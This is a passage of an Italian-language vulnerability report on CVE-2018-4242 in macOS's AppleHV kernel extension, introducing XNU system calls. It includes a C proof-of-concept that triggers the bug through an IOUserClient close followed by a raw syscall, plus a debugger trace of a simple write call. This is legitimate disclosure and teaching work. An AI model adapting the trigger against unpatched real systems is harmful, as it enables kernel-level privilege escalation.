
Zhuo Liang di Qihoo 360 Nirvan Team
1.1 CVE-2018-4242 . . . . . . . . . . . . . . . . . . . . . . . . . 1
2.1 Chiamate di sistema . . . . . . . . . . . . . . . . . . . . 2
2.2 MIG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.2.1 mach_msg e porta Mach . . . . . . . . . . . . . . . . . 6
2.2.2 MIG: generatore di interfacce RPC . . . . . . . . . . . 8
2.3 IOKit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.3.1 IOUserClient . . . . . . . . . . . . . . . . . . . . . . . 12
3.1 Reverse engineering . . . . . . . . . . . . . . . . . . . . . . 12
3.2 Vulnerabilità . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.3 Correzione . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
1.1 CVE-2018-4242
La scorsa settimana Apple ha rilasciato l'aggiornamento di sicurezza macOS 10.13.4 per CVE-2018-4242, segnalato a marzo. CVE-2018-4242 è una vulnerabilità che può esporre un programma dannoso eseguendo codice arbitrario con privilegi di kernel. Questo report aiuterà a esaminare XNU attraverso questo problema. Il codice nel Listing 1 è la PoC che abbiamo dimostrato. Il codice sorgente completo può essere scaricato da github.
1 // AppleHVUaF.c
2 void destroy_vm() {
3 asm("mov $0x03000000, %rax; mov $0x04, %rdi; syscall");
4 return;
5 }
6 int main(int argc, char **argv) {
7 const char *service_name = "AppleHV";
8 io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
9
10 if (service == MACH_PORT_NULL) {
11 printf("[−] Cannot get matching service of %s\n", service_name);
12 return 0;
13 }
14 printf("[+] Get matching service of %s succeed, service=0x%x\n", service_name, service);
15
16 io_connect_t client = MACH_PORT_NULL;
17 kern_return_t ret = IOServiceOpen(service, mach_task_self(), 0, &client);
18 if (ret != KERN_SUCCESS) {
19 printf("[−] Open service of %s failed!\n", service_name);
20 return 0;
21 }
22 printf("[+] Create IOUserClient of %s succeed, client=0x%x\n",
23 service_name, client);
24 IOServiceClose(client);
25 usleep(5);
26 destroy_vm();
27 return 0;
28 }
Listing 1: PoC per CVE-2018-4242
Per capire questo codice, sono necessarie alcune conoscenze di base su XNU. Per i lettori che si avvicinano per la prima volta a XNU, la Sezione 2 tratterà XNU. Se conoscete già gli argomenti seguenti, potete iniziare dalla Sezione 3.
Sezione 1 Introduzione
Sezione 2 Conoscenze di base di XNU
Sezione 3 Reverse di AppleHV.kext e dettagli di CVE-2018-4242
Sezione 4 Conclusione
Come tutti sappiamo, la chiamata di sistema in informatica è un modo per i programmi di interagire con il sistema operativo. I processi a livello utente possono richiedere servizi del sistema operativo tramite una chiamata di sistema. In XNU esistono quattro classi di chiamate di sistema che alimentano tutte le interazioni utente-kernel. Approfondiamole tramite l'istruzione syscall mostrata nel Listing 1. syscall sull'architettura x86_64 è il tipo di istruzione che può invocare un handler di chiamate di sistema del sistema operativo nello spazio kernel. Il Listing 2 illustra come funziona syscall con un semplice esempio di write.
~ cat write.c
2 #include
3 int main() {
4 write(0, "Hello\n", 6);
5 return 0;
6 }
7 ~ clang write.c −o write
8 ~ lldb write
9 (lldbinit) b libsystem_kernel.dylib`write
10 Breakpoint 1: where = libsystem_kernel.dylib`write, address = 0x000000000001e6f8
11 (lldbinit) r
12 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[regs]
13 RAX: 0x0000000000000006 RBX: 0x0000000000000000 RBP: 0x00007FFEEFBFF8D0
14 RSP: 0x00007FFEEFBFF8B8 RDI: 0x0000000000000000 RSI: 0x0000000100000FA2
15 RDX: 0x0000000000000006 RCX: 0x00007FFEEFBFF9F8 RIP: 0x00007FFF7ED096F8
16 R8: 0x0000000000000000 R9: 0xFFFFFFFF00000000 R10: 0x00007FFEEFBFFA48
17 R11: 0x00007FFF7ED096F8 R12: 0x0000000000000000 R13: 0x0000000000000000
18 R14: 0x0000000000000000 R15: 0x0000000000000000
19 CS: 002B FS: 0000 GS: 0000
20 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[code]
21 write @ libsystem_kernel.dylib:
22 −> 0x7fff7ed096f8: b8 04 00 00 02 mov eax, 0x2000004
23 0x7fff7ed096fd: 49 89 ca mov r10, rcx
24 0x7fff7ed09700: 0f 05 syscall
25 0x7fff7ed09702: 73 08 jae 0x7fff7ed0970c ; <+20>
26 0x7fff7ed09704: 48 89 c7 mov rdi, rax
27 0x7fff7ed09707: e9 19 54 ff ff jmp 0x7fff7ecfeb25 ; cerror
28 0x7fff7ed0970c: c3 ret
29 0x7fff7ed0970d: 90 nop
30 (lldbinit) x/s rsi
31 0x100000fa2: "Hello\n"
Listing 2: Semplice esempio di write